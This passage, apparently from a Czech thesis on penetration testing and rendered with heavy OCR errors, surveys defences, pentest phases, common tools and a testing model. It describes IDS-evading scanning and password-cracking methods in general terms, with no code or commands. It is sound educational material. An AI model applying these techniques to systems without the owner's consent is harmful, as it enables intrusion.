spravce). IPS muze vyloucit paket z podezrelého provozu, automaticky uzavrit port
nebo odmitnout dalS$i prenos z této konkrétni IP adresy. V kratkém casovém
okamziku sitové aktivity nemusi byt spravce sité schopen reagovat dostate¢né
rychle na ozndmeni IDS o moZném utoku. IPS miiZe provést preventivni akci
okamzité poté, co zjisti podezrelou aktivitu. Preventivni akce byvaji predem
nakonfigurovany [18].

Snort

Snort je bezplatny a open-source systém pro prevenci a detekci naruseni sité.
Byl vytvoren v roce 1998, jeho autorem je vyvojar Martin Roesch, ale od roku 2013
je jeho hlavnim vyvojarem Cisco. Zdrojovy kéd je napsany v programovacim jazyce
C. Uzivatelé, ktefi si Snort predplati, maji k dispozici nejnovéjsi pravidla pro
filtrovani provozu. Ostatni si tyto pravidla mohou stdhnout az po tficeti dnech od

posledni aktualizace.
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Pouziva jazyk zaloZeny na pravidlech, kombinuje metody kontroly protokolti
a anomalii k detekci Skodlivych aktivit, jako jsou utoky typu DoS, preteceni
vyrovnavaci paméti, skenovani portti, utoky CGI, sondy SMB a pokusy o otisky OS. Je
schopen provadét analyzu provozu v realném case a kontrolovat pakety v sitich [19].
Firewall

Brana firewall, ktera je provozovana na hrani¢nim smeérovaci lokalni sité, je
systém zabezpeceni sité, ktery je vytvoren s cilem zabranit neopravnénému
pristupu do soukromé sité nebo z ni. Jedna se o systém, ktery na zakladé urcitych
pravidel filtruje sitovy provoz. Brana firewall miize byt implementovana jako
program nebo jako hardwarové zarizeni a dokonce jako kombinace obou. Tento
firewall obvykle vytvari bariéru mezi divéryhodnou interni siti a nedtivéryhodnou
externf siti.

Jedna se o systém, ktery slouzi ke zvyseni bezpecnosti a zabezpeceni vSech
pocitaCovych zatizeni pripojenych k urcité siti. Firewall je povaZovan za nedilnou
soucast, aby sit’ byla komplexné zabezpecena. Brana firewall je zac¢lenéna do Siroké
skaly sitovych zarizeni a i nékterych operacnich systémd, kterd filtruji prenos
a snizuji bezpecnostni rizika. NiZe je shrnuto nékolik aktivit, které firewall

vykonava.

e Ridi a filtruje sitovy provoz.
e Maroli prostrednika mezi lokalni siti a Internetem napriklad.
e Shromazduje zdznamy a zpravy o udalostech.

e Qvéruje pristup.

Zalohovani

Ztrata vSech dat neni nikdy prijemnd, v piipadé ransomwaru k tomu miize
dojit velmi snadno a rychle. Proto je dobré data pravidelné zalohovat. Pokud
organizace ztrati veSkera data, mize to prispét kjejimu konci. Jedinym moznym
reSenim v mnoha pripadech, ve kterych je organizace napadena virem ransomware
a zaroven nema k dispozici zalohy, je uto¢nikiim zaplatit za deSifrovani dat. Této
situaci se 1ze vyhnout pravidelnym provadénim zaloh, které je nutné zabezpecit

nebo fyzicky oddélit mimo sit.
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Uzivatel

Nejvétsi slabinou celého bezpecnostniho retézce je pravdépodobné uzivatel
sam. Uzivatel by si mél davat pozor a chovat se obezretné. Nevstupovat na podezrelé
stranky, neotevirat podezrelé soubory, prilohy v mailech atp. Volit silna, slozita

hesla, nejlépe mit hesel nékolik a do kazdého systému volit jiné.
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5 Principy penetraéniho testovani

Celé penetracni testovani délime do nékolika fazi, které budou nyni popsany
a vysvétleny. Tyto faze nejsou ve vSech metodikach stejné. V této praci bude pribéh
penetracniho testovani shrnut do ctyt fazi.

Tato kapitola bude cerpat ze zdrojt [9], [10].

5.1 Cil a rozsah penetracnich testu

Tato faze obvykle za¢ina definovanim rozsahu testi. Klient nastini, co chce testovat
Penetracni testovani musi byt provadéno vzdy se souhlasem majitele, zplisobem a
rozsahem, na kterém se klient s dodavatelem penetrac¢niho testu predem domluvil.

Vysledkem této faze by mélo byt poznani, co klient chce testovat. Zda se jedna
o testovani lokalni sité, zarizeni, webové aplikace nebo pouze tieba socidlni
inZenyrstvi. Rozsah je v prvni radé definovan typem penetra¢niho testu, dle interni
specifikace. Také by se mélo zjistit, jaké adresy jsou v rozsahu a které nikoliv. Aby
nevznikla situace, ve které jsou testovany zarizeni mimo rozsah, které klient
testovat nechce.

Rozsah testovani pro jednotlivé technologie (napt. wifi, webové aplikace,
obecné pentest infrastruktury nebo webové aplikace) nebo techniky (testovani
fyzické bezpecnost, socialni inZenyrstvi), ma byt v podepsané smlouvé explicitné
specifikovan jako ,in scope / out of scope” a to s dalSimi bezpecnostnimi poZadavky,
jako je stanoveni termin, lhiit a metodik ur¢enych dodavatelem penetra¢niho testu.
S klientem by méla byt podepsana pisemna smlouva, ve které je popsan zpusob,

rozsah testovani a jeho vyslovny souhlas.

5.2 Sbér dat

Cilem této faze je, shromazdit co nejvice informaci o daném systému. Diilezité je
systém peclivé zmapovat, v dalSich fazich se z téchto informaci vychazi. Postupovat
lze nékolika zplsoby, zalezi na tom, jaky test a zplsob je vybran (blacbkox,
whitebox, greybox).

Sbér informaci miliZe byt provadén napiiklad automatizovanymi nastroji,

vyhledavanim v WHOIS, dotazem na reverzni DNS pro ziskani subdomén, jmen lidi.
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Lze zapojit i socidlni inZenyrstvi k nalezeni pozic uZivateld, technologii, e-mailovych
adres. Zkratka metod je cela rada, nékteré z nich budou popsany v sedmé a osmé

kapitole.

5.3 Skenovani a exploitace

Treti faze obnasi skenovani systému, testovani zabezpeceni a otevirenych portt.
Hlavnim cilem této faze je ziskdni pristupu do systému. V této fazi jsou vyuZity
informace, které byly doposud ziskany. MlZe se jednat o ziskani pristupu do
databaze bez znalosti pristupovych udajii, ziskani citlivych dat o uzivatelich.
V piipadé webovych aplikaci se milize jednat o utok SQL Injection, cross-site
scripting.

Ziskanim pristupu tato faze nekonci, penetracni tester zkousi, co vSe lze
v systému ziskat nebo poskodit. Jakmile se dostane do sité, mliZe testovat ostatni
zatizeni, které mohou byt Spatné nakonfigurovana. Cely tento proces vyuziva
nedostatkii systému nebo aplikace. Castou pri¢inou bezpecnostnich dér je

nedostatek financ¢nich nebo ¢asovych prostredki.

5.4 Report

Na zavér testovani se vytvori zprava, ve které jsou zpracovany vysledky jednotlivych
testl. Zprava by meéla obsahovat vyhodnoceni Uspésnosti jednotlivych scénard,
zneuzitych ndlezii a popis dopadu - c¢eho bylo docileno po technické strance
s ohledem na dalsi postup. Tato faze je diilezita predevsim kviili klientovi. Klient by
z této faze mél ziskat jakousi zpétnou vazbu, kam investovat prostiredky ke zlepSeni
zabezpeceni IT infrastruktury. Zprava ma obsahovat souhrnné hodnoceni

bezpecnosti vzhledem k nalezim a tispesnosti simulovanych tutok
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6 Analyza nastrojl pro penetrac¢ni testovani

Béhem penetracniho testovani se pouZziva fada nastrojti, které pomahaji cely

proces zjednodusit a automatizovat. Tyto nastroje budou v této kapitole popsany.

6.1 Nessus

Nessus se pouZiva pro sken zranitelnosti, nikoliv na eticky hacking. Jeho specialni
funkci je hodnotny report bezpecnostnich chyb, které naSel. Pouziva ho mnoho
profesionalnich penetracnich testeri. Byl vytvoren v roce 1998 spolecnosti Tenable
Network Security, 1ze jej instalovat na vice operacnich systémi. Vyuziva se prevazné
pro komercni dcely, ale je mozné ho vyzkouset bezplatné ve zkuSebni dobé, ktera
trva tyden. Slouzi primarné pro odhalovani zranitelnosti zvenci, mimo lokalni sit’.
Ale ma také dalsi funkce, véetné odhalovani zranitelnosti uvnitr sité, detekce
Skodlivych programi a dalsi. Nessus ma architekturu klient - server.

NiZe je popsano nékolik klicovych vlastnosti tohoto nastroje [20].

e Identifikuje zranitelnosti, které utoc¢nikovi umoZnuji vzdaleny pristup k
citlivym informacim.

e Zkontroluje, zda systémy v siti maji nejnové;jsi bezpecnostni aktualizace.

e Zkousi vychozi a béZna hesla na systémové ucty.

¢ Konfigura¢ni audity.

e Analyza zranitelnosti.

e Audity mobilnich zarizeni.

e Prizplisobené prehledy.

6.2 Maltego

Maltego je open-source nastroj slouZici pro sken zranitelnosti, prvni vydani nastroje
bylo vroce 2007. Jeho specialni funkci je zobrazeni vysledkd skenu v piehledné
podobé formou grafu. Je to nastroj, ktery pomize provést prizkum cilového
systému. V systému projde celkovou infrastrukturu, sité, servery, IP adresy,
zaméstnance, jejich vazby na socidlni sité a tak dale. Pivodné byla aplikace jak
desktopova, tak i jako webova aplikace. Nicméné autor projektu Paterva nyni

udrZuje pouze desktopovou verzi. Maltego pouZiva Javu, je tedy dostupny jak na
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Windows, Mac ¢i Linuxu. Byva implementovany v mnoha linuxovych distribucich
pro penetracni testovani napriklad Kali nebo Buscador.

Tento nastroj se pouziva ve fazi shromazdovani informaci. Shromazdi
veSkera data, ktera souvisi se zabezpecenim. Tim pomaha k pochopeni celého
komplexnitho systému zpohledu penetracnitho testera. Tento zplsob
zautomatizovani data miningu uSetfi mnoho cCasu [20]. Maltego ziskava data
z vefejné dostupnych informaci (vyhledavace, socialni sité, riizné dostupné online

archivy). Ve své podstaté zpracuje velké mnoZstvi dostupnych dat, které

transformuje do prehledné podoby grafu.

6.3 Google Hacking

Google hacking se pouZiva pro sken zranitelnosti, specialni funkci je témér
celkova anonymita pri vyhledavani kteréhokoliv cile dostupného na internetu.
Odhaduje se, Ze tento zpisob skenu zranitelnosti je vyuzivan od roku 2002. Kromé
béznych metod vyhledavani, Google uzivatellim nabizi rozsifené moznosti, jako je
filtrace vysledkli prostrednictvim pokrocilych operatord. UZivatelé mohou tyto
operatory kombinovat vjednom vyhledavacim dotazu, kterym se dostanou
k pomérné presnému vysledku [11]. Na obrazku 2 je souhrn nejpouZzivanéjsich
operatorl. Kombinaci téchto operatort 1ze dostat cenné informace, které by nemély
byt verejné dostupné.

Timto zplisobem sbirani informaci je také mozné ziskat statistiky a jina
podstatna data, jako je vyuziti diskli nebo dokonce zaznamy generované
systémovou nebo sitovou aplikaci pro monitorovani. Timto ndastrojem lze

vyhledavat HTTP chybové zpravy, které jsou pro pochopeni systému diilezité.
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GOOGLE SEARCH OPERATORS

Operators Search Query

1. "Search Term" "Social media”

2.0R digital marketing OR online marketing
3.AND job AND business

4.- jobs -voice process

5.+ video marketing +SEQ

6.* Milk * curd

7.0) (Note 8 or s8+) Samsung
8.3 $18.88

9.€ €18.88

10. intitle: intitle:SEO

11. allintitle: allintitle:Samsung note8
12.inurk: inurl:SEQ

13. allinurl: allinurl:5amsung note8
14.intext: intext:SEO

15. allintext: allintext:Samsung note8
16.inanchor: inanchor:Samsung

17. allinanchor: allinanchor:Samsung note8
18. cache: cache:www.akdigihub.com
19. filetype: samsung filetype:png / samsung ext:pdf
20. site: site: akdigihub.com social media marketing
21.related: related:neilpatel.com
22.info: info:samsung.com

23. AROUND(X): redmi AROUND(4) samsung
24, weather: weather:Bangalore
25.map: map:Nandi Hills

26.movie: movie:3 idiots

27.in: $25%9inRs

28.source: Samsung source:the_verge
29. blogurl: blogurl:neilpateldigital.com
30. phonebook: phonebook:Bill gate

3L.#: #digitalmarketing

aldigihubeom

Obrazek 7 Google operatory
Zdroj: [26]

6.4 Shodan

Shodan slouZi pro sken zranitelnosti, byl vyvinut v roce 2009 Johnem Matherly. Jeho
specialni funkci je databaze, do které uklada vysledky. Diky ni je moZné dostat se
ike starSim vysledkim. Je to internetovy vyhledavac, ktery hledd dostupné
informace o zarizenich pripojenych do internetu. Zobrazi smérovace, servery,
I[P kamery, webkamery, détské chiivicky, zkratka vse, co je dostupné. O zarizenich
zobrazi riizna informace vcetné IP adresy, zemé plivodu, verze znamého softwaru a
tak podobné. Jedna se o nastroj z kategorie OSINT, tedy z nastroju, ktery zjistuji
informace z verejné dostupnych zdroju.

Tento vyhledavac neustale prochazi zatizeni v internetu a vysledky si uklada
do databaze. Shodan nabiz{ hledani zranitelnosti u jednotlivych zarizeni. UZivatel si

pak v databazi podle parametrii vyhled3, jaké zatrizeni ho zajimaji. Nicméné ani zde
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vSechny jeho funkcionality nekonci, je moZné si zobrazit napriklad interaktivni
mapu. Tato moZnost se hodi, pokud dtoc¢nika zajimaji webkamery v okoli [12].
Martin Haller popisuje uzite¢nost tohoto nastroje na svém webu a to rozborem
kybernetického utoku na Povodi Vltavy. Prostfednictvim kombinace nékolika
nastrojl nasel kritickou zranitelnost v systému, nezbytnou soucasti celého procesu
byl Shodan. Byla nalezena zranitelnost poStovniho serveru Microsoft Exchange,
ktery nebyl aktualizovany, verze poStovniho serveru obsahovala Kkritickou
zranitelnost CVE-2020-0688, na kterou existuji zranitelnosti. Nicméné podotyka, Ze
to nutné nemusel byt vektor utoku, hackefi mohli najit i jinou zranitelnost.
Konkrétni roli béhem priizkumu Shodan sehral v nalezeni typt a verzi spusténych

sluzeb [37].

6.5 Nmap

Nmap je vyuzivan pro sken zranitelnosti, jeho prvni vydani bylo vroce 1997,
autorem je Gordon Lyon. Vzhledem k podobé programu bez grafického rozhranti je
jeho specidlni funkci rychlé zjiSténi ndasledujicich véci o cilovém systému:
identifikace cilového systému, sken otevienych portd, verze sitové sluzby, detekce
operacniho systému. Je to bezplatny pocitaCovy program s otevienym zdrojovym
kédem, ktery slouzi pro bezpecnostni audit. Pro mnoho spravcti je uzitecny také pro
sledovani a mapovani sité. Pracuje s pakety na fyzické urovni, byl navrZen pro rychlé
skenovani velkych siti, ale funguje dobre i v menSich sitich. Program lze spustit na
vétsiné operacnich systémi vcetné Linux, Microsoft Windows a MaC OS.

Primarnim cilem projektu nmap je udélat internet bezpecnéjSim mistem
a poskytnout spravct, auditorim a penetracnim testerim nastroj pro zkoumani
jejich sité. Velkou vyhodou je komplexni, propracovana dokumentace a relativné
dobfie zpracovana napovéda.

Nastroj je jako délany pro situaci, ve které je penetracni tester pripojen uvnitr
lokalni sité, o které nic nevi. Nmapem ziska prehled o ostatnich zarizenich v siti
a informaci o téchto zarizenich. Penetracni tester by pravdépodobné v prvni fazi
nejprve zjistoval, kterd zarizeni jsou viibec ,ziva“, pozdéji které sluzby na zarizeni
jsou spusStény a naposled jakou maji sluzby verzi. Nicméné timto vycet funkci

nekonci, disponuje i mnoha jinymi funkcemi [22].
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6.6 Wireshark

Wireshark slouzi pro odposlech sitové komunikace, byl vyvinut vroce 1998
Geraldem Combsem. Jeho specidlni funkci je moZnost analyzovat pakety, které jsou
adresovany nékomu cizimu v siti. Pouziva se k feSeni problémii v pocitacovych
sitich, na vyvoj softwaru a komunikac¢nich protokolti a také pro odposlech provozu.
Odposlech provozu proto, jelikoZ lze prepnout sitovou kartu do takzvaného
promiskuitniho reZimu a diky tomu je moZzné odposlouchavat i komunikaci, ktera
neni pro cilové zarizeni.

Program je multiplatformni, mize byt instalovan na operacnich systémech
jako Linux, Mac OS, Microsoft Windows a dalSich. Wireshark je vyvijen pod GNU
licenci a to skupinou vyvojaid, ktefi se nazyvaji The Wireshark team, stazeni je
moZné na oficialnich strankach vyrobce.

Wireshark dokaZze Cist data z nékolika riiznych zdroji:

e I[EEE 802.11,
e Bluetooth,

e Token Ring,
e Frame Relay,
e [Psec,

e Kerberos,

e SNMPv3,
e SSL/TLS,
o WEP,

e Komunikacni sluzby zaloZené na formatu Ethernet.

Velkou vyhodou je grafické rozhrani. Analyza vysledki je ve formé, kterym dokaze
klient 1épe porozumét. Wireshark je velmi uZitecnym pomocnikem k analyzovani

dat, které jsou posildna webové aplikaci prostfednictvim formulari [23].

6.7 W3AF (Web Application Attack and Audit Framework)

W3AF je nastroj, ktery slouzi pro sken zranitelnosti a eticky hacking, byl vyvinut

stejnou firmou jako Metasploit Framework v roce 2007. Jeho specialni funkci je
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schopnost najit jakékoliv bezpecnostni slabiny ve webovych aplikacich. Zdrojovy
kéd je napsan v programovacim jazyce Python a jedna se o multiplatformni nastroj,
ktery lze instalovat na vétSinu operacnich systémii. Na oficidlnich strankach je
k dispozici komplexni dokumentace o nastroji.

UZivatel si miize zvolit, zda chce pouzivat grafické rozhrani ¢i prikazovou
radku. Cilem tohoto projektu je udélat webové aplikace bezpec¢néjSimi. Obsahuje
databazi vice nez 200 zranitelnosti, prikladem téchto zranitelnosti miize byt SQL
Injection, Cross-Site Scripting, odhadnutelné ptihlasovaci idaje, neoSetfené chyby

aplikace nebo problémy v PHP konfiguraci.

6.8 Metasploit framework

Metasploit Framework se vyuZiva pro sken zranitelnosti a eticky hacking, byl
vyvinut firmou Metasploit LLC vroce 2003. Jeho specialni funkci je moZnost
exploitace bezpecnostnich slabin na zakladé velkému mnozZstvi preddefinovanych
vzorl. Zdrojovy kod byl napsan v programovacim jazyce Perl, ale pozdéji byl
prepsan do programovaciho jazyku Ruby. Tento program je dobrym pomocnikem
pfi penetracnim testovani, odhaluje a testuje bezpecnostni slabiny systému.
Metasploit je soucasti distribuce Kali Linux anebo je mozZné stahnout jej z oficidlnich
stranek vyrobce. Jedna se o open-source program, zdrojovy kdd je dostupny verejné
v repositari na GitHub.

Tento projekt pivodné zacal jako sitova bezpecCnostni hra napsana ctyrmi
vyvojari. Prvni stabilni verze byla vydana v ¢ervnu 2004. Od té doby se vyvoj velmi
zrychlil. Kazdy rok ptibyvaji nové funkce a pomocnych moduld, kterych je hodné.

Metasploit je vykonny nastroj, ktery ma tisice preddefinovanych exploiti
(programy, které mohou vyuzit zranitelnosti zabezpeceni, aby poskytly ptistup
nebo kontrolu nad pocitacem). Metasploit frameworok umozZiiuje tvorbu vlastnich
exploita [16].

Mnoho knih, metodik a nau¢nych videi k tomuto frameworku je dostupnych na
internetu. Nejjednodussi zacatek je stahnout si distribuci Kali Linux spolu

s virtualnim pocitacem, ktery slouZi pro testovani.

Linuxové distribuce pro penetracni testovani
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V této ¢asti budou rozebrany linuxové distribuce, které jsou zaméieny na
penetracni testovani. VétSina z téchto distribuci funguje v reZimu live CD, tedy neni
nezbytné nutné, aby cely operac¢ni systém byl zaveden na pevny disk. Lze jej pustit
z optické mechaniky nebo USB disku.

Penetracni nastroje udélaly velky pokrok, v dnesni dobé vétSina nastroji
disponuje uZivatelsky privétivym rozhranim a také velkym mnoZzstvim vyukovych
materiald.

Operac¢ni systémy zaloZené na Linuxu jsou nejpouZzivanéjSi v oblasti
penetracniho testovani. Mezi jeho velké vyhody patii stabilita, nizké naroky na
prostiedky, podpora a Skalovatelnost. Linux je operacni systém, ktery je open
source, zdrojovy kod je volné dostupny. Licence urcuje, jak uZivatel miize se
zdrojovym koédem nakladat. Nékteré licence naprtiklad dovoluji zdrojovy kéd

i upravovat a distribuovat.

6.9 Kali Linux

Tato distribuce odvozena od Debianu byla vytvorena pro zkuSeny penetracni
testery, jedna se o open-source projekt. Kali Linux lze spustit zlive CD nebo
nainstalovat na pevny disk. Tento operacni systém nahradil systém Back Track,
tviirci operacniho systému jsou stejni.

Kali Linux ma nékolik vyhod. Systém je nenarocny, lze jej provozovat i na
méné vykonném hardwaru. Existuje velké mnozstvi nau¢nych videi a navodu. Jedna
se o bezplatny systém, ktery v sobé ma vice neZ Sest set nastrojii pro penetracni

testovani. Lze jej do velké miry prizplsobit, uzivatelské rozhrani Ize upravovat [24].

6.10Backbox

Backbox je operacni systém, ktery byl vyvinut s jasnym cilem, zlepsit bezpe¢nost IT
systému. Je to open source projekt, na kterém pracuje otevirena komunita vyvojara.
Zakladem je jadro zaloZené na opera¢nim systému Ubuntu.

Velkou vyhodou je rychlost a velké mnozZstvi penetracnich nastroji.
Nechybéji nastroje na analyzu sitového provozu, forenzni analyzy, exploitace a tak

dale. Je to pravdépodobné druha nejpouzivanéjsi distribuce.
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6.11Parrot Security OS

Parrot Security OS také obsahuje rfadu nastroji pro odborniky na bezpecnost
a digitalni ¢i forenzni analyzu. Nechybi nastroje pro vyvoj programi, ochrané
soukromi pii prohliZeni internetu. Tuto distribuci vyviji italsky tym a je to live
distribuce, zakladni platformou je Debian. I tato distribuce je zdarma s dostupnym
zdrojovym kodem, ktery je mozné Cist a pripadné i upravovat.

Vyhodou jako i u vétSiny ostatnich linuxovych distribuci je nizka narocnost
na prostredky, systém lze spustit pfimo z CD nebo jiného zarizeni, moZnost

vyuzivani zdarma a ptipadné i prizplisobeni systému [25].
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7 Navrh a definice testovacich scénaru

7.1 Komplexni model testovani

Autor této publikace vytvoril vlastni model testovani, ktery rozdélil do péti fazi

testovani. Tato kapitola se bude vénovat popisu druhé, tieti a ¢tvrté faze. Ostatni

faze uz byly rozebrany v predchozich kapitolach a nejsou pro publikaci stéZejni.

Zdrojem informaci je metodika NIST a OSSTMM.

Planovani

=

pracovani scénare planovani.

Vypracovani zadani pro
dodavatele penetraéniho
testovani.
Stanoveni rozsahu.

Exploit

=

Prolomeni bezpeénostnich
slabin. Eskalace exploitu,
prizkum za kompromitovanym
systémem.

Obrazek 8 - Komplexni model

Zdroj: Vlastni zpracovani

Provedeni prizkumu

Sbér a analyza informaci o cili.

Vyhodnoceni zpravy

Vypracovani zavérecné zpravy,
Fhodnoceni vysledki. Navrhy na

zlep3eni bezpeénosti.

Identifikace
bezpecnostnich slabin

Prozkoumani bezpecnostnich
slabin systémoveé / webové
aplikace.
Stanoveni Gto€nych vektoru.

Prace je Clenéna topologicky dle vrstev, na které techniky cili. 0d hardwarové

vrstvy, kde vektor utok je mifen napriklad na firmware stroje aZ po aplikacni, kde

vektor utoku je cilen na operacni systém, databazi, aplikaci a tak dale.
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7.2 Provedeni prizkumu a identifikace bezpecnostnich slabiny

Prizkum by mél odhalit identitu systému, oteviené porty, spusténé sluzby
a potencionalni  bezpecCnostni slabiny. Prizkum miiZe byt vykonan
automatizovanymi ndastroji nebo rucné. Jediné kombinaci vice metod lze ziskat
komplexnéjsi pohled na cely systém nebo infrastrukturu.

Prikladem miiZe byt situace, kdy penetracni tester ovéruje, jaké porty jsou
oteviené a které sluzby jsou spustény, tak i sken bezpecnostnich zranitelnosti
vyuzitelnych k atoku.

Metody v této kapitole jsou rozdéleny na technické a netechnické. Netechnické
nebudou popisovany, patfi mezi né napriklad fyzické zabezpeceni aktiv. Tim je
mysleno prolamovani fyzickych zamki, ctecek a dalsich kontrolnich mechanismi.
Zkratka neautorizovany fyzicky pristup k aktivim.

Prazkum sité

Prohledani aktivnich, odpovidajicich zatizeni v siti, charakterizuje tada
metod. Dale prozkoumadni jejich bezpecnostnich slabin a jakym zplisobem sit
funguje. Metody jsou rozdéleny na aktivni a pasivni.

Pasivni prizkum sité vyuziva sitovy odposlech, ktery monitoruje provoz a
zaznamenava IP adresy aktivnich zatizeni, pripadné ktery port byl pouzit a verzi
operacniho systému. Pasivnim prlizkumem mohou byt odhaleny vazby mezi
zatizenimi - kdo komunikuje s kym, jak Casto a typ komunikace. Tento zpiisob
prizkumu je zpravidla realizovan pocitacem v lokalni siti a to bez vyslani jediného
paketu. Shromazdéni vSech informaci pasivnim prizkumem zabere vice ¢asu nez
aktivni priizkum a zatizeni, které jsou neaktivni v dobé monitorovani, nemusi byt
objeveny.

Aktivni priizkum sité je zalozen na odesilani rtznych typt sitovych pakett
cilovym zarizenim, pakety typu napriklad ICMP (Internet Control Message
Protocol).

Jedna z metod aktivniho pristupu je nazyvana OS fingerprinting, nastrojem
byva vétSinou Nmap. Cilem je identifikace verze operacniho systému. Tato metoda
je zalozena na odesilani paketi cili a zkoumani paket(i, které byly poslany zpét.

Nastroj porovnava vracené pakety se znamymi formaty konkrétnich operacnich
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systému a sitovych sluzeb. Vysledkem miiZze byt shromazdéni informaci o cilovém
systému, generovani topologie cilové sité, zjiSténi konfigurace firewallu a IDS,
odhaleni bezpecnostnich slabin. Existuje i pasivni OS fingerprinting, ktery analyzuje
pakety v siti a Zadny provoz negeneruje. Je to Casové narocnéjsi, ale je mensi Sance
na odhaleni. PouZivanymi nastroji jsou NetworkMiner a Satori.

Rizikem aktivniho pristupu je moZnost odhaleni enterprise firewally a IDS
systémy, které mohou velmi rychle odhalit podezrely provoz. Penetrac¢ni tester by
mél zvolit typ prohledani, ktery nebude poutat mnoho pozornosti a to vhodnym
zpusobem (generovani nizs$iho sitového provozu, generovani sitového provozu
z vice IP adres). Typ prohledavani by mél zvolit takovy, ktery se blizi k normalnimu
provozu v siti.

Vyhodou aktivniho pristupu je, Ze shromazdovani informaci miize byt
vykonano z jiné sité a obvykle trva kratsi dobu. Problémem pasivniho pristupu je
nejistota zajisténi komplexniho pohledu na infrastrukturu a ¢asova narocnost byva
vysoka, obzvlast ve velkych firemnich infrastrukturach.

Jakmile penetracni tester zna identitu operacniho systému, postupuje dale
k sitovym portim a spusténym sluzbam. Informace ziskané z OS fingerprinting
nejsou naprosto diivéryhodné, protoze firewall mize blokovat nékteré porty nebo
systémovi administratofi mohou mit systém nakonfigurovanytak, Ze odpovi
nestandardnim zptlisobem, za ucelem zamaskovani pravé identity operacniho
systému.

Nékteré nastroje dokazi zlepsit identifikaci spusténé sluzby na konkrétnim
portu procesem zvanym identifikace sluzby. Prikladem je situace, kdy nastroj zjisti
otevieny port 80. Na tomto portu je vétSinou spusStény web server, nicméné musi
byt vykonany dalsi kroky, aby to bylo mozné ur¢it s jistotou. Existuji nastroje, které
analyzuji komunikaci na tomto portu a porovnavaji ji se vzory. Jakmile komunikace
odpovida vzoru, je mozné urcit sluzbu a verzi sluzby. Tento proces se nazyva
sversion scanning“. Znamou formou ,version scanning“ je ,banner grabbing“, ktera
zahrnuje zachyceni banneru cilového zarizeni.

Jakmile penetracni tester zna operacni systém zarizeni, typ a verzi spusténych
sluZeb, hleda v databazi bezpecnostni slabiny ke konkrétnim verzim sluzeb. Tento

proces byva nazyvan ,vulnerability scanning“. Rada automatizovanych nastroji
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prebirad informace z predchozich korki a hleda bezpecnostni slabiny automaticky
sama v databazi. Cilem byva neaktualizovana aplikace, chybéjici bezpecnostni
zaplaty, nespravna konfigurace. Tyto nastroje mohou byt spuStény jak z lokalni sité,
tak i externé.

Kazda ze zjiSténych slabin musi byt posouzena vzhledem k organizaci.
Napriklad pokud nastroj vyhleda slabinu webového serveru v prenosu hesel
v nezaSifrované podobé, nemusi to byt nutné slabina, pokud webovy server funguje
pouze lokalné v ramci interni sité a neni tam riziko odposlechu. Vysledky byvaji
Casto mylné identifikovany jako bezpecnostni slabiny. Kazdy pripad je tifeba
individualné posoudit.

Databaze bezpecnostnich slabin téchto nastroji by méla byt aktualizovana
pired kazdym vyhledavanim, aby mohly byt objeveny i novéjsi bezpecnostni slabiny.
BéZnou praxi je pouziti vice vyhledavacli bezpecnostnich slabin a porovnani
vysledkd, reportf.

Bezdratové skenovani

Vzhledem k popularité bezdratovych technologii je vhodné se zamérit na jejich
zabezpecleni. Bezdratové technologie se vyuZivaji ke komunikaci mezi zarizenimi
bez nutnosti fyzického propojeni. Existuje nékolik faktort, které by mély byt brany
v ztetel, pred vlastnim vyhodnocenim bezpecnosti. Pfikladem je fyzické umisténi.
Situace je rozdilna, pokud je bezdratova sit uprostied rusného mésta nebo na okraji.
Také Uroven zabezpeceni dat, které jsou prenasSena.

Zatizeni, ktera skenuji sit, mohou byt provozovana na riznych platformach.
Platformou miiZe byt pocitac, telefon nebo jiné specialni zatizeni. Nicméné by méla
zvladat skenovani kanalli bezdratovych siti 802.11a/b/g/n. V nékterych piipadech
je dobré pridat externi anténu, diky které se mtiZe rozsirit funkcionalita i pro ostatni
bezdratové sité (bluetooth a ostatni). Nastroje pro skenovani bezdratovych siti
zaznamenavaji objevena zarizeni vcetné SSID, typu zarizeni, fyzické adresy, sily
signdlu a mnozZstvi prenesenych paketii. Tyto informace pomadahaji objevit
potenciondlni nebezpena zarizeni v siti a rizné anomalie. Néktera zarizeni maji
v sobé integrovany systém WIDPS, ktery zabezpeceni znacné zlepSuje.

Pasivni bezdratové skenovani monitoruje provoz v siti, aniZ by néjaky

vytvarelo. Na zakladé ziskanych informaci z pasivniho skenovani lze pokracovat
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v aktivnim bezdratovém skenovani. Organizace mohou testovat, zda jejich zarizeni
vyhovuji bezpe¢nostnim pozadavkiim (autentizace, $ifrovani dat a tak déle). Castym
cilem utokd jsou AP (pristupové body). Pokud uto¢nik kompromituje AP, ziska

pristup k pripojenym klientim.

7.3 Exploit

Tato kapitola obsahuje ovéreni bezpecnostnich slabin, které byly zjistény
béhem priizkumu a jejich identifikaci. Vzhledem k moznému faleSnému oznaceni
bezpecnostni slabiny je nutné vyzkouset, zda se jedna skute¢né o bezpeclnostni
slabinu. Penetracni tester by mél byt béhem této faze velmi opatrny a to kvili
k moZnému riziku dopadu na cilovy systém nebo sit. Prakticka ukazka nékolika
modelovych situaci bude v kapitole devét této publikace.

Prolamovani hesel

V situaci, kdy uzivatel zada heslo do systému, zaSifrovana podoba tohoto
hesla se porovna se zasifrovanou uloZenou verzi. Pokud nastane shoda, uzivatel je
autentizovan. Prolamovani hesel, v angli¢tiné ,password cracking”, oznacuje proces
obnovy hesel ze zaSifrovanych hesel uloZenych v systému, nebo které byly
odchyceny béhem sledovani provozu v siti. Cilem jsou obvykle méné sloZita hesla.

Jednou z metod je ,slovnikovy titok”, ktera vyuZziva vSechna slova ve slovniku
nebo souboru. Na internetu je mnoho dostupnych slovnik v riiznych jazycich,
slovniky, které se vztahuji napiiklad k serialiim, zalibam a tak dale. Dalsi variantou
utoku je ,hybrid attack”, ktery do slova doplnuje Cislice a specialni znaky.

»Brute force” je metoda, ktera generuje rtzné kombinace Cislic, pismen
a znakl nahodné. Nevyhodou je vysoka casova narocnost. Teoreticky kazdé heslo
miuZe byt touto metodou prolomeno, pokud je na proces dostatek ¢asu a prostredkd,
nicméné casova narocnost se mize pohybovat v radu let.
Penetracni testovani

V tento moment analytik vyuziva informace ziskané z priizkumu a provadi
dalsi krok, zneuziti bezpecnostnich slabin. Analytik mize vyuzit vefejnou databazi
bezpecnostnich slabin jako napriklad NVD (National Vuleerability Database)

aprovést tento krok rucné, pomaleji a dikladnéji. Nebo vyuzit néktery
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z automatizovanych ndastroji. Provedeni Utoku je srdcem procesu penetra¢niho
testovani.
Socialni inZenyrstvi

Uto¢nik se snaZi od obéti vylakat citlivé tidaje (napf. jméno a heslo). Rizikovy
bezpecnostni prvek je lidsky faktor. Existuji rtizné formy socidlniho inZenyrstvi,
